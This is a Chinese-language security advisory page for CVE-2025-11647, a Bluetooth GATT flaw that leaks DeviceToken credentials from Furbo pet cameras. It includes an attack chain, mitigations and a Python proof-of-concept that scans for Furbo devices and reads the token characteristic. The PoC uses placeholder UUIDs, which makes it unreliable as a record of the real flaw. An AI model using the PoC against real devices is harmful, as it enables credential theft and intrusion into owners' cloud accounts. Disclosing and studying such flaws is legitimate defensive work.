IPBUF安全漏洞报告
English
CVE-2025-11647 CVSS 3.1 低危

CVE-2025-11647 Tomofun Furbo设备GATT服务信息泄露漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11647
漏洞类型
信息泄露
CVSS评分
3.1 低危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

信息泄露CVE-2025-11647TomofunFurbo 360Furbo MiniGATT服务蓝牙低功耗BLEIoT设备智能摄像头

漏洞概述

CVE-2025-11647是Tomofun公司旗下Furbo 360和Furbo Mini智能宠物摄像头产品中存在的一个信息泄露漏洞。该漏洞位于设备的GATT(通用属性配置文件)服务组件中,攻击者可以通过对DeviceToken参数进行恶意操作来触发信息泄露。

GATT(Generic Attribute Profile)是蓝牙低功耗(BLE)通信协议栈中的核心组件,定义了蓝牙设备之间数据传输的方式。Furbo设备作为物联网智能设备,其GATT服务中存储了与设备身份认证和通信相关的敏感信息,包括DeviceToken等关键凭据。

该漏洞的CVSS评分为3.1分,属于低危级别。漏洞的攻击向量为邻接网络(AV:A),意味着攻击者需要在与目标设备相同的本地网络环境中才能实施攻击。漏洞利用无需认证(PR:N)和用户交互(UI:N),但攻击复杂度较高(AC:H),利用难度较大。漏洞的影响主要体现在机密性方面(C:L),对完整性和可用性无影响。

该漏洞的发现时间为2025年10月12日,Tomofun公司在漏洞披露前已被通知,但未作出任何回应。受影响的固件版本包括Furbo 360的FB0035_FW_036及之前版本,以及Furbo Mini的MC0020_FW_074及之前版本。由于该漏洞涉及智能家居IoT设备的安全问题,可能导致用户的设备凭据和隐私数据被窃取,因此仍需引起重视。

技术细节

该漏洞的技术原理基于蓝牙低功耗(BLE)协议中GATT服务的实现缺陷。GATT服务通过属性(Characteristics)和描述符(Descriptors)来组织数据,客户端可以通过读写操作访问这些属性。

在Furbo 360和Furbo Mini的实现中,GATT服务组件未能对DeviceToken参数的访问进行适当的权限校验和加密保护。DeviceToken作为设备身份认证的关键凭据,通常用于设备与云端服务的安全通信。攻击者利用此漏洞的步骤如下:

1. 攻击者首先需要处于目标设备的蓝牙通信范围内(邻接网络访问),通过BLE扫描工具发现Furbo设备。
2. 攻击者连接到目标设备的GATT服务,枚举可用的服务和特征。
3. 攻击者通过构造特定的GATT请求,操纵DeviceToken相关的属性读取操作,绕过正常的认证流程。
4. 由于缺乏适当的访问控制,攻击者能够读取到包含敏感信息的DeviceToken数据。

漏洞利用的复杂度较高(AC:H),这意味着成功利用需要满足特定的前置条件,如了解设备的GATT服务结构、构造特定的BLE请求数据包等。攻击成功后,攻击者可以获取设备的DeviceToken,进而可能用于伪造设备身份、访问云端服务或进行其他恶意活动。该漏洞的利用仅限于本地网络范围内,无法通过远程互联网直接利用。

攻击链分析

STEP 1
步骤1:设备发现
攻击者在目标Furbo设备的蓝牙通信范围内,使用BLE扫描工具(如手机或笔记本)发现并识别目标设备的蓝牙地址和名称。
STEP 2
步骤2:GATT服务连接
攻击者通过BLE协议连接到目标设备的GATT服务,枚举可用的服务和特征,定位存储DeviceToken的特征UUID。
STEP 3
步骤3:构造恶意请求
攻击者构造特定的GATT读取请求,针对DeviceToken相关的特征属性发送读取操作,绕过缺失的认证机制。
STEP 4
步骤4:数据提取
由于GATT服务缺乏适当的访问控制,攻击者成功读取到DeviceToken等敏感凭据信息。
STEP 5
步骤5:凭据滥用
攻击者利用获取的DeviceToken伪造设备身份,访问Furbo云端服务,获取用户的隐私数据或进行其他恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11647 PoC - Furbo GATT Service Information Disclosure # This PoC demonstrates how to exploit the GATT service vulnerability # to extract DeviceToken information from Tomofun Furbo devices. import asyncio from bleak import BleakClient, BleakScanner # Target GATT service and characteristic UUIDs for Furbo devices # These UUIDs are commonly associated with device token storage TARGET_DEVICE_NAME = "Furbo" GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Furbo GATT service DEVICE_TOKEN_CHAR_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # DeviceToken characteristic async def scan_furbo_devices(): """Scan for nearby Furbo devices via BLE.""" print("[*] Scanning for Furbo devices...") devices = await BleakScanner.discover() furbo_devices = [d for d in devices if TARGET_DEVICE_NAME in (d.name or "")] if not furbo_devices: print("[-] No Furbo devices found in range.") return None for device in furbo_devices: print(f"[+] Found device: {device.name} ({device.address})") return furbo_devices[0] async def exploit_gatt_device_token(target_address): """Connect to the target device and attempt to read DeviceToken via GATT.""" async with BleakClient(target_address) as client: print(f"[*] Connected to {target_address}") # Enumerate GATT services for service in client.services: print(f"[Service] {service.uuid}: {service.description}") for char in service.characteristics: print(f" [Characteristic] {char.uuid}: {char.description}") print(f" Properties: {char.properties}") # Attempt to read DeviceToken characteristic # The vulnerability allows reading without proper authentication try: device_token_data = await client.read_gatt_char(DEVICE_TOKEN_CHAR_UUID) print(f"[+] DeviceToken leaked: {device_token_data.hex()}") return device_token_data except Exception as e: print(f"[-] Failed to read DeviceToken: {e}") return None async def main(): """Main exploit function.""" # Step 1: Discover target device target = await scan_furbo_devices() if not target: return # Step 2: Exploit GATT service to leak DeviceToken token = await exploit_gatt_device_token(target.address) if token: print(f"\n[!] Exploit successful!") print(f"[!] Extracted DeviceToken: {token}") print(f"[!] This token can be used for unauthorized cloud access.") if __name__ == "__main__": asyncio.run(main())

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
在厂商发布正式修复补丁之前,建议用户采取以下临时缓解措施:1)尽量在不使用时关闭Furbo设备的蓝牙功能,减少被攻击的风险;2)确保设备仅在受信任的网络环境中使用,避免在公共场所或不安全的网络下使用;3)定期检查设备的连接日志,关注是否有异常的蓝牙连接记录;4)如发现设备出现异常行为,及时重置设备并更改相关账户密码;5)关注Tomofun官方的安全公告,及时获取最新的固件更新信息。由于该漏洞需要邻接网络访问才能利用,物理安全也是重要的防护手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表